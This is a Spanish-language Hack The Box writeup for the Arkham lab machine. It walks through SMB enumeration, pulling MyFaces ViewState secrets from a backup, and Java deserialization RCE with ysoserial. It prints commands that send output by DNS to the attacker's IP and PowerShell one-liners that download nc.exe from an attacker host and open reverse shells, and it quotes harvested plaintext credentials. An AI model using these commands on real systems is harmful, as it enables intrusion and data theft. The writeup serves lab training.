Hack The Box - Arkham Writeup
MASSCAN
Escaneo de puertos tcp/udp.root@sckull:~/htb/arkham# masscan -p1-65535,U:1-65535 10.10.10.130 --rate=1000 -e tun0 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-25 19:10:12 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 49666/tcp on 10.10.10.130 Discovered open port 139/tcp on 10.10.10.130 Discovered open port 445/tcp on 10.10.10.130 Discovered open port 135/tcp on 10.10.10.130 Discovered open port 8080/tcp on 10.10.10.130 Discovered open port 49667/tcp on 10.10.10.130
NMAP
Escaneo de servicios en puertos anteriormente encontrados.root@sckull:~/htb/arkham# nmap -sV -p 135,139,445,8080,49666,49667 10.10.10.130 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-25 19:13 GMT Nmap scan report for 10.10.10.130 Host is up (0.36s latency). PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 8080/tcp open http Apache Tomcat 8.5.37 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 68.49 seconds
SMB
Buscamos los sharenames a los que tengamos acceso.root@sckull:~/htb/arkham# smbclient -L 10.10.10.130 Enter WORKGROUP\root's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin BatShare Disk Master Wayne's secrets C$ Disk Default share IPC$ IPC Remote IPC Users Disk Reconnecting with SMB1 for workgroup listing. Connection to 10.10.10.130 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 -- no workgroup available
SMB - BatShare
Nos conectamos al sharename.root@sckull:~/htb/arkham# smbclient \\\\10.10.10.130\\BatShare Enter WORKGROUP\root's password: Try "help" to get a list of possible commands. smb: \> smb: \> ls . D 0 Sun Feb 3 13:00:10 2019 .. D 0 Sun Feb 3 13:00:10 2019 appserver.zip A 4046695 Fri Feb 1 06:13:37 2019 5158399 blocks of size 4096. 2123866 blocks available smb: \> mget * Get file appserver.zip? y getting file \appserver.zip of size 4046695 as appserver.zip (265.1 KiloBytes/sec) (average 265.1 KiloBytes/sec) smb: \>
root@sckull:~/htb/arkham# unzip appserver.zip Archive: appserver.zip inflating: IMPORTANT.txt inflating: backup.img root@sckull:~/htb/arkham# ls appserver.zip backup.img IMPORTANT.txt tmpEncontramos un archivo llamado appserver.zip al descomprimir dicho archivo nos muestra dos archivos backup.img e IMPORTANT.txt.
IMPORTANT.txt
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Brucefile backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
BINWALK - backup.img
Utilizamos binwalk para ver el contenido del archivo backup.img.DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 LUKS_MAGIC version 0x1 aes sha256 519168 0x7EC00 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995 544768 0x85000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995 551936 0x86C00 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995 8388608 0x800000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995 8542755 0x825A23 Zip archive data, at least v1.0 to extract, name: Mask/tomcat-stuff/ 8542831 0x825A6F Zip archive data, at least v2.0 to extract, compressed size: 1006, uncompressed size: 2208, name: Mask/tomcat-stuff/tomcat-users.xml 8543929 0x825EB9 Zip archive data, at least v2.0 to extract, compressed size: 1151, uncompressed size: 3498, name: Mask/tomcat-stuff/web.xml.bak 8545167 0x82638F Zip archive data, at least v2.0 to extract, compressed size: 709, uncompressed size: 1368, name: Mask/tomcat-stuff/context.xml 8545963 0x8266AB Zip archive data, at least v2.0 to extract, compressed size: 621, uncompressed size: 1172, name: Mask/tomcat-stuff/jaspic-providers.xml 8546680 0x826978 Zip archive data, at least v2.0 to extract, compressed size: 367, uncompressed size: 832, name: Mask/tomcat-stuff/faces-config.xml 8547139 0x826B43 Zip archive data, at least v2.0 to extract, compressed size: 2599, uncompressed size: 7678, name: Mask/tomcat-stuff/server.xml 8549824 0x8275C0 Zip archive data, at least v2.0 to extract, compressed size: 18347, uncompressed size: 174021, name: Mask/tomcat-stuff/web.xml 8568254 0x82BDBE Zip archive data, at least v1.0 to extract, compressed size: 39, uncompressed size: 39, name: Mask/tomcat-stuff/MANIFEST.MF 8568380 0x82BE3C Zip archive data, at least v2.0 to extract, compressed size: 7353, uncompressed size: 7586, name: Mask/robin.jpeg 8575806 0x82DB3E Zip archive data, at least v2.0 to extract, compressed size: 105045, uncompressed size: 105374, name: Mask/me.jpg 8680920 0x8475D8 Zip archive data, at least v2.0 to extract, compressed size: 687109, uncompressed size: 687160, name: Mask/mycar.jpg 9466405 0x907225 End of Zip archive, footer length: 22 [ .. ] 9638621 0x9312DD Copyright string: "copyright/ordfeminine/guillemotleft/logicalnot/hyphen/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu/para" 9962496 0x980400 PDF document, version: "1.4" [ ... ] 9978880 0x984400 XML document, version: "1.0" 9979118 0x9844EE Copyright string: "copyright ownership." 9981952 0x985000 XML document, version: "1.0" 9986048 0x986000 XML document, version: "1.0" 9986286 0x9860EE Copyright string: "copyright ownership." 9988096 0x986800 XML document, version: "1.0" 9988334 0x9868EE Copyright string: "copyright ownership." 9990144 0x987000 XML document, version: "1.0" 9991168 0x987400 XML document, version: "1.0" 9991406 0x9874EE Copyright string: "copyright ownership." 9999360 0x989400 XML document, version: "1.0" 9999598 0x9894EE Copyright string: "copyright ownership." 10016768 0x98D800 JPEG image data, JFIF standard 1.01 10024960 0x98F800 JPEG image data, JFIF standard 1.01 10041344 0x993800 JPEG image data, EXIF standard 10041356 0x99380C TIFF image data, little-endian offset of first image directory: 8 10057728 0x997800 JPEG image data, JFIF standard 1.01Dentro del archivo encontramos varios documentos que se refieren a archivos tomcat, imagenes, y archivos xml, descomprimimos los archivos con binwalk.
binwalk -e backup.img
Encontramos varios archivos y carpetas, dentro de la carpeta Mask encontramos imagenes y una subcarpeta tomcat-stuff, utilizamos binwalk con las imagenes para verificar que no tengan archivos ocultos dentro.
Ninguna de las imagenes contiene archivos que puedan servirnos, dentro de la carpeta tomcat-stuff encontramos archivos de configuracion.
Dentro de los archivos de configuracion encontramos un backup de uno de ellos web.xml.bak, en su interior vemos la configuracion que tiene la pagina, algunos parametros de la configuracion contienen datos que sirven para encriptar los datos que se reciben y se envian por medio de la pagina web y podemos notar que esta corriendo en apache myfaces.
INFO: https://wiki.apache.org/myfaces/Secure_Your_Application
Faces Servlet *.faces State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2 javax.faces.STATE_SAVING_METHOD server org.apache.myfaces.SECRET SnNGOTg3Ni0= org.apache.myfaces.MAC_ALGORITHM HmacSHA1 org.apache.myfaces.MAC_SECRE SnNGOTg3Ni0=
HTTP - 8080
Puerto 8080 en http.Gobuster
Considerando que la pagina esta corrriendo en un apache myfaces (web.xml.bak), vamos a utilizar gobuster para buscar directorios y documentos.
Encontramos directorios y documentos pertenecientes a la pagina, al visitar cada una de las opciones de la pagina nos encontramos una para una subscripcion de correo electronico /userSubscribe.faces la cual no aparecio con gobuster.
/userSubscribe.faces
Al registrar un correo nos redirige a otra pagina /thankyou.faces con un mensaje de registro.
ViewState
Al revisar el codigo fuente de userSubscribe.faces encontramos algunos valores que pertenecen a javax.faces.ViewState.
ViewState
JSF utiliza viewStates para almacenar los datos de la vista, pueden ser 'almacenados' en el servidor o el cliente, dichos valores de viewstate estan dentro del html de una pagina como un campo oculto con el nombre de javax.faces.ViewState, como es el caso de la pagina que encontramos.
Java Deserialization
Deserializacion y Serializacion es el proceso por el cual se convierte un objeto a bytes y viceversa, para leerlo e interpretarlo por el servidor. Al investigar acerca de dichos valores encontramos que, existe una vulnerabilidad de deserializacion en java, dichos valores del viewstate estan codificados en base64 en algunos casos no estan encriptados por lo que puede ser leido el contenido del valor.
Al intentar decodificar en base64 nos muestran algunos caracteres, por lo que podemos afirmar que el objeto esta encoriptado.
JSF ViewState RCE
INFO: https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
Encontramos un post el cual habla de una vulnerabilidad RCE de ViewState en las implementaciones de JSF como Oracle Mojarra (JSF reference implementation), Apache MyFaces. Existen dos 'tipos' de ViewState, el que se almacena en el servidor y el cliente, ambos son objetos serializados, para que dicha vulnerabilidad sea aprovechada para la ejecucion de comandos deben de cumplirse algunas condiciones, el viewstate no debe de estar encriptado, en el caso de Mojarra el viewstate debe de estar configurado en el cliente, en MyFaces puede estar configurado en el cliente o servidor.
En el caso de MyFaces encriptar el ViewState esta por defecto activado, puede ser desactivado para hacer tests configurando el parametro de 'org.apache.myfaces.USE_ENCRYPTION = false' y tambien puede utilizar una contraseña para la encriptacion. Tambien nos dice que por defecto Myfaces utiliza DES como algoritmo de encriptacion y HMAC-SHA1 para autenticar el ViewState. Por defecto el almacenamiento del ViewState esta configurado por el lado del servidor 'javax.faces.STATE_SAVING_METHOD = server'.
INFO: https://wiki.apache.org/myfaces/Secure_Your_Application
Algunos post sobre JAVA Deseralization:
https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/
https://www.n00py.io/2017/11/exploiting-blind-java-deserialization-with-burp-and-ysoserial/
https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a
Ahora que sabemos todo esto, podemos volver a nuestro archivo web.xml.bak el cual contiene algunos parametros que pueden ser de utilidad para aprovechar el RCE del ViewState y ejecutar comandos dentro de la maquina.
Tambien tiene una contraseña que es utilizada para encriptar el viewstate.javax.faces.STATE_SAVING_METHOD server
El algoritmo de autenticacion.org.apache.myfaces.SECRET SnNGOTg3Ni0=
Mensaje de autenticacion para el algoritmoorg.apache.myfaces.MAC_ALGORITHM HmacSHA1
org.apache.myfaces.MAC_SECRET SnNGOTg3Ni0=
StateUtils.java
Existen algunas herramientas para explotacion de deserializacion en java como jexboss (https://github.com/joaomatosf/jexboss) y ysoserial (https://github.com/frohoff/ysoserial), tambien existe una version modificada de ysoserial-modified (https://github.com/pimps/ysoserial-modified). Al intentar utilizar estas herramientas contra la maquina no funcionan, por el tipo de encriptacion en la configuracion del archivo (web.xml.bak), estas herramientas aprovechan el viewstatate cuando no estan encriptadas.
Para arkham vamos a utilizar ysoserial-modified para generar un payload y encriptarlo por medio de la clase de apache myfaces(https://github.com/apache/myfaces), StateUtils.java, esta clase (https://myfaces.apache.org/core22/myfaces-impl-shared/apidocs/org/apache/myfaces/shared/util/StateUtils.html)contiene metodos que pueden construir y reconstruir un valor de viewstate.
Configuracion de los campos:
private static final Logger log = Logger.getLogger(StateUtils.class.getName()); //Cambio por HmacSHA1 public static final String macAlgorithm = "HmacSHA1"; //Cambio por MAC_SECRET -> SnNGOTg3Ni0= //public static final String INIT_MAC_SECRET = "MAC_SECRET"; //public static final String INIT_MAC_SECRET_KEY_CACHE = "org.apache.myfaces.MAC_SECRET.CACHE"; //configuracion Local encrypt/decrypt private static final String encodedKey ="SnNGOTg3Ni0="; private static final byte[] decodedKey = decode(encodedKey.getBytes()); private static final SecretKey secretKey = new SecretKeySpec(decodedKey,"DES"); //configuracion Local encrypt/decrypt private static final String macSecretStr = "SnNGOTg3Ni0="; private static final byte[] macSecretBytes = decode(macSecretStr.getBytes()); private static final SecretKey macSecretKey = new SecretKeySpec(macSecretBytes, macAlgorithm); private static final String ZIP_CHARSET = "ISO-8859-1"; // String DEFAULT_ALGORITHM = "DES"; private static final String algorithm = "DES"; // String DEFAULT_ALGORITHM_PARAMS = "ECB/PKCS5Padding"; private static final String algorithmParams = "ECB/PKCS5Padding"; private static final byte[] iv = null;Metodos, se eliminan todos los valores ExternalContext, ServletContext:
construct(Object object) reconstruct(String string) encrypt(byte[] insecure) encode(byte[] bytes) decrypt(byte[] secure) decode(byte[] bytes) getAsObject(byte[] bytes) getAsByteArray(Object object)Creamos un metodo para enviar nuestro payload:
sendPayload(String viewstatePayload)Para la ejecucion de comandos utilizamos ysoserial-modified.jar para generar un payload:
CommonsCollections1, CommonsCollections2, CommonsCollections3, CommonsCollections4, CommonsCollections5, CommonsCollections6*Funciona tambien con la version ysoserial.jar, pero se tienen comandos 'limitados', la version modificada es una mejor version que nos permite ejecutar comandos cmd/powershell/sh.*
Ya que desconocemos del payload que funciona, utilizamos los descritos anteriormente, vamos a hacer un request DNS a nuestra maquina con cada payload (ej: nslookup CommonsCollections1 10.10.1X.1X) y el payload que funcione nos aparecerá en nuestra terminal (Utilizamos responder(https://github.com/SpiderLabs/Responder)).
Aqui se encuentra el codigo:https://github.com/sckull/ctf-stuff
RCE - Request DNS
Obtenemos un request DNS y vemos que los payloads que funcionan en arkham son CommonsCollections5, CommonsCollections6, por lo que podemos utilizar cualquiera de ellos para ejecutar comandos en la maquina.
De igual forma utilizando nslookup podemos saber que usuario somos y que usuarios existen en la maquina, utilizando los siguientes comandos.
whoami
//10.10.13.129 & for /f %i in ('whoami') do nslookup %i 10.10.13.129
dir C:\Users
//10.10.13.129 & for /f "tokens=1,2,3" %a in ('dir /B "C:\Users"') do nslookup %a.%b.%c 10.10.13.129
REVERSE SHELL - Alfred
Para obtener una shell inversa vamos a utilizar powershell para descargar netcat (nc.exe) y ejecutar una shell inversa.
Comando
*Cambiamos el primer parametro de cmand a "powershell".
wget http://10.10.13.129/nc.exe -o C:\Users\Public\nc.exe; C:\Users\Public\nc.exe -e C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.10.13.129 443Obtenemos una shell inversa como Alfred y nuestra bandera User.txt.
Usuarios - Arkham
Podemos ver que existen otros dos usuarios Batman y Administrator.Vemos que Batman pertenece al grupo de Administrators
USER - BATMAN
En el directorio C:\Users\alfred\Downloads\backups encontramos un archivo backup.zip, lo trasladamos a nuestra maquina con netcat(https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/).
Al descomprimirlo nos muestra un archivo .ost de Microsoft Outlook, utilizamos readpst para leer el archivo de correos el cual nos extrajo los borradores (Drafts.mbox).
Para lectura de Drafts.mbox utilizamos mutt.
mutt -Rf Drafts.mbox
Encontramos una imagen de cmd con un comando que contiene un usuario y contraseña
net use G: \\10.10.10.10\gotham /user:batman Zx^#QZX+T!123
Utilizamos powershell para cambiar al usuario(sesion) Batman con el siguiente comando:
$username ="ARKHAM\batman";$password = convertto-securestring -AsPlainText -Force -String "Zx^#QZX+T!123"; $cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$password; New-PSSession -Credential $cred | Enter-PSSession
Exitosamente pudimos cambiar al usuario Batman pero no podemos listar los directorios y archivos.
REVERSE SHELL - BATMAN
Para obtener una shell inversa con el usuario Batman vamos a utilizar Invoke-Command para descargar netcat (nc.exe) en el directorio de Batman y ejecutar una shell inversa, el siguiente comando se ejecuta con el usuario alfred.$username = 'ARKHAM\batman';$password = 'Zx^#QZX+T!123';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName ARKHAM -Command {powershell wget http://10.10.15.2:8081/nc.exe -o C:\Users\Batman\Documents\nc.exe; powershell C:\Users\Batman\Documents\nc.exe -e C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.10.15.2 445}
Obtenemos una shell y podemos ejecutar comandos, pero no podemos acceder a la carpeta de Administrator.
Por alguna razon el siguiente comando funciona para acceder a la carpeta de Administrator, y obtenemos nuestra bandera root.txt.
cd \\10.10.10.130\C$\Users\Administrator\


























